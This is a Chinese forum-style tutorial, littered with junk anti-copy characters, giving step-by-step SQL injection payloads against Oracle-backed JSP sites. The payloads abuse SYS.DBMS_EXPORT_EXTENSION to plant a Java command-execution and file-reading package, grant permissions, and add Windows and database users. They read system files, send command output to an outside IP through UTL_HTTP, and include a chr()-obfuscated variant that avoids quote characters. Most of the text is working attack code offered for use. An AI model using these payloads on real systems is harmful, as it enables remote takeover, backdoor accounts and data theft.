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介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。6 [7 L$ f* Q6 F1 D, X. d
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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0 S/ N6 [% {' M( J的形式即可。(用" 'a'|| "是为了让语句返回true值)0 c5 g% o9 ]4 h. C
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语句有点长,可能要用post提交。
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以下是各个步骤:
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1.创建包( h, Z/ o- ?: [% s' V, R
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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/xxx.jsp?id=1 and '1'<>'a'||(
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') S+ d ^8 ]! ~3 n6 |
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
2 U7 y1 Q( l& Z' [new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}} x5 j3 ?- L/ Z3 L
}'''';END;'';END;--','SYS',0,'1',0) from dual7 ~. b) n( D- Y& O' `
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------------------------
1 J' Z# e! O" R( t! ?" m/ f3 x! i如果url有长度限制,可以把readFile()函数块去掉,即:' q* ~( G1 O" V1 ?1 N' t1 x
/xxx.jsp?id=1 and '1'<>'a'||(- q$ F ?3 D; p* J: T
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''$ s2 h& I& |' R" ]$ W ~
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
( n6 {. O9 G! i; h0 _* ] Pnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
/ F8 s5 f( Q- T* [# b3 n% ?: }}'''';END;'';END;--','SYS',0,'1',0) from dual) b( A# F" `$ j4 Z- N9 c0 K5 q+ r7 A- Y
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( a2 }: c! Q7 F" E$ h同时把后面步骤 提到的 对readFile()的处理语句去掉。+ ?: N9 s: K8 _% x' o
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2.赋Java权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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3.创建函数- u# F N& X3 s( L3 w6 Z
9 K$ z) o1 l: {( B6 ?select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
+ \' B) V! n1 g0 }create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual6 r$ W3 r7 k0 a' a6 h0 h, E" |' l% W5 D
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''& e( q& E3 f* v |- i
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限, u) |6 M3 g9 V, j8 B ~
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
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5.测试上面的几步是否成功7 a( c0 \' Z z
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and '1'<>'11'||(# _- a2 [! n; B' l7 [- }
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'
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/ I3 j" }/ O; f. Iselect OBJECT_ID from all_objects where object_name ='LINXREADFILE'1 L) m5 w* E6 i
)
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. a5 f1 {- ~% D- p6.执行命令:& v7 K* {" k, Y4 Y
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select sys.LinxRunCMD('cmd /c net user linx /add') from dual$ a/ n. ^' _. c, D2 N
)
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/xxx.jsp?id=1 and '1'<>(
* |( q* T0 K( Cselect sys.LinxReadFile('c:/boot.ini') from dual0 k* m/ {9 G* P/ v7 \; t
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9 h, j5 X# g+ G4 P# F! P注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
& G0 i4 }( V; u0 m如果要查看运行结果可以用 union :
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, R, Z4 ?% d' M0 T8 q4 O/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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或者UTL_HTTP.request(:- B" l7 F; i7 }* P! i# K! j
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/xxx.jsp?id=1 and '1'<>(# l: d2 K3 s- e5 |6 p
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual# y" A5 J5 J; S# x
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$ S3 S! t+ g/ u% s注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
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7 d1 a" b" I: _9 U8 K--------------------
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" P, a8 ^ b5 q" m' I/ [6.内部变化! p1 P% K6 t, M5 j4 p
通过以下命令可以查看all_objects表达改变:
6 |5 O* P8 M& X& c' `% ]3 iselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%') {' Q/ A: G+ E Y- I9 H2 { _/ h1 L/ x
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7.删除我们创建的函数
% C' E. K2 F7 v1 Q* |! n+ @select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ R3 l! @! l" g+ D+ ^2 \8 ~5 w
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual1 Z; \0 p7 E" X
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D/ e1 K. }1 p5 Y. |3 l3 `+ O====================================================" u ]! s3 ?7 ^1 w/ ]0 i2 T+ A
全文结束。谨以此文赠与我的朋友。- f% F: X* V8 y& W4 }
' |/ l0 h! l6 z4 {' H; mlinx% ^: t$ _5 L3 @6 p" {
1248294459 A& d- I# H8 {5 u) X" I3 }6 p+ ~
2008.1.12
" T7 g$ j! y2 s9 m9 h! B[email protected]
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======================================================================1 u0 ^3 ?3 v, i/ j1 a1 r$ j
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测试漏洞的另一方法:
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6 r0 D# k% A9 S F5 p创建oracle帐号:
( N% q+ H" x5 `3 n9 xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! ]# v' ?0 X9 n5 YCREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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6 t7 r C8 T/ d2 v; K+ ~9 m Y即:
/ T3 J7 U3 v) {: V* A3 qselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
. @* E7 u+ Z' G% z- ~chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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! u0 l; X+ y. T确定漏洞存在:
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select user_id from all_users where username='LINXSQL'
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; K" N A2 F3 q* _给linxsql连接权限:0 Z8 R6 l6 I" a6 n5 v7 |/ D! o
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 i" b- z! P( ?, t9 t
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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, \- ^. K Y* Q% `1 A5 pselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! Y' l: U# i L/ Y6 O. ~0 ddrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual5 n8 m3 h% g7 Q( X! F
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======================
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8 B. E5 v; f! d$ d% m以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:; Z5 C. G# C; \1 O9 [/ m- A
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 }+ k; T4 Q3 r( v) t) K. I# g
create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>() J, j7 R- z+ j1 b- Q# `
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual' K' S1 B7 u( i, N
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1.jsp?id=1 and '1'<>(
9 ^) P! R9 a0 n2 y( j* xSELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL9 `. h; u9 ~. Q4 b2 b% p! x% t
) and ...$ e0 V7 U. l( g& C" U
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1 |: b+ ~/ n4 W1.jsp?id=1 and '1'<>(5 ]$ v1 G9 K5 ]; Q. c, x2 j
SELECT sys.Linx_Query('declare pragma( m( C1 \; N0 r& ~. ]$ k+ o+ V
autonomous_transaction; begin execute immediate ''
+ K! T8 q% X9 \select 1 from dual
8 S8 y, k1 Z% u, d''; commit; end;') from dual8 \ i& w m+ U4 ^8 m" @
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' Z$ N4 I: W* g- Y3 v; r多语句:
, h& y% p1 e; ]' |8 N3 T( kSELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual7 Y3 y* h. X' x1 G/ @. W+ [9 r
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创建用户(除非当前用户有system权限,否则无法成功):
' A* r3 K7 f& m7 @6 i$ U( VSELECT sys.Linx_Query('declare pragma
2 w& |1 W8 f5 \( k4 r6 bautonomous_transaction; begin execute immediate ''2 [3 c& f8 X9 E" u
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User$ B) i! \* l2 Q6 ]4 M+ ^
''; commit; end;') from dual( G4 S3 C5 n( f4 F: P9 G
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/ l& \0 J2 w! @5 I( y$ n/ U, G================
; l6 o) Y0 @3 ^5 r% k( p以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
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1.创建函数
6 _$ l' S8 u# y) a' o) d9 Gselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' ~1 r. L* K0 |
create or replace function Linx_Query (p k/ ~0 T) g9 p8 q
varchar2) return number authid current_user is begin execute immediate; A8 u' x; w4 v' ^% y H
p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
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如果有权限,以下语句应该允许正常
9 \; L$ l3 A# \/ h! t) lselect sys.linx_query('select 1 from dual') from dual;5 l ^, y3 \0 F8 c; m
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不然的话运行:
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7 p' ^/ u: \# _" R2 Aselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, j" \/ j) `# [: o* ?7 rgrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual! p! }. c4 V& }2 J2 n
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2.创建包) ]$ t8 c3 H% [4 k, x
SELECT sys.Linx_Query('declare pragma4 Z5 d3 O) J: j1 s. r' \) g
autonomous_transaction; begin execute immediate ''
7 L, m" E y& n! {& a% q; tcreate or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
' z- s7 w" }5 O. Dnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual3 v* F$ X0 j6 ] A& L' I( G
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3.创建函数
, x( v* z9 b7 N- VSELECT sys.Linx_Query('declare pragma' O3 V3 Y3 K# n4 H& s2 M
autonomous_transaction; begin execute immediate ''
/ _' R: i/ l/ S- g* m( T) r6 F- Kcreate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual& x$ u9 n9 p" O
; G0 z2 ~9 J, w+ H4.给权限% e5 C% O2 t$ U5 f! H
给用户SYSTEM执行权限:
- v- e2 m# u6 z1 p
4 ~1 E/ h7 W$ j2 M5 J, v8 x9 eSELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
4 |$ n l- P" X5 T* N# M! L0 G# D2 N8 X) T" w3 u1 ]
6 t' w3 B! S/ d* g' w
. f1 `* ?# B+ m$ r% y: P, Z3 r5.执行函数- T% Y1 H8 I1 F7 l4 v( G
select RunCMD2('cmd /c dir') from dual
/ d1 ?5 [) Q2 Q
6 n/ p; _& s- o$ U3 X8 B6 L% T1 u
) S7 T$ [# B. {' A# j2 ~; \& n' |7 g" H; ?8 b1 {
) S8 R$ z3 T) Q- x0 B==================
# I) w+ Z4 s2 F) I0 t% M0 o================================
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4 X9 q0 T$ P8 ]: s7 d以下是无 " ' " 版:
f1 n# a- J) |- W
" Q/ Z& Q/ n' x- A& K以下是各个步骤:3 v: ~; r" I' {# E( d- }
! e6 u7 j" w- W
1.创建包
+ C1 ?% H g) }) J( ?0 h/ U: H通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:; E4 m6 S6 Q6 x2 d( V
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
* ]8 p3 ~8 D$ z8 Y
# j* d! c6 E4 C6 B: H* B" x/ @/xxx.jsp?id=1 and chr(49)<>chr(50)||(" [) N7 d9 b5 F. ^, _; W
) R% ]0 _7 q1 Y1 v$ n/ t8 vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),* q. S7 X# N# D `7 u8 h' [; K1 }: K
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
4 Y" h4 N+ \8 k# d' E$ q) uchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
9 h$ W. K, K3 { b3 v0 D6 ~0 F+ Vchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||5 l; [, B- e$ J1 Y# l1 R5 [. `
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
2 L) \: J2 D" g# ichr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
7 T8 Y2 x2 q0 H' a( S0 [0 Q9 q+ F4 Ichr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
$ T$ l% x' {# j9 xchr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
0 I4 k, `( S# }& \/ Z9 C/ j, Y" Zchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
, F9 |- D" d7 h0 r+ l7 M# [chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||
( k2 L: I' D/ w2 d* T2 q: \; Ichr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
! R" Z, ?" z! x: \1 ~: zchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||3 L0 Q5 T( J1 q: b8 k( P
chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
* u" Q7 {2 t! w; I8 m5 Y, S2 Kchr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||7 ?: s# k7 @0 t" Z3 K
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||) Y0 s. `6 V/ _3 b5 H3 @3 q7 S
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
) }9 h( s: A: Fchr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||/ S; v4 K! U0 x1 o- B" @
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||1 I+ l3 Z$ L2 S2 p* @! R
chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||: D$ O: ^* \% f/ V8 w+ \- C# w
chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
( t& ?! }+ ^8 E' J3 s5 G |chr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||. H; x6 Z( Y9 ~1 V
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
; ^' |# V6 l e$ h* ychr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
# I( C1 D* m9 k3 mchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
, B! O4 t% O' U* R7 rchr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||. x% G2 V2 `- S* ?" A: F
chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
( F# y( I) C3 c( p) {1 {3 R" q) `- L5 nchr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||! P5 I- \# k, t" P/ p$ Y6 I5 x ]0 g
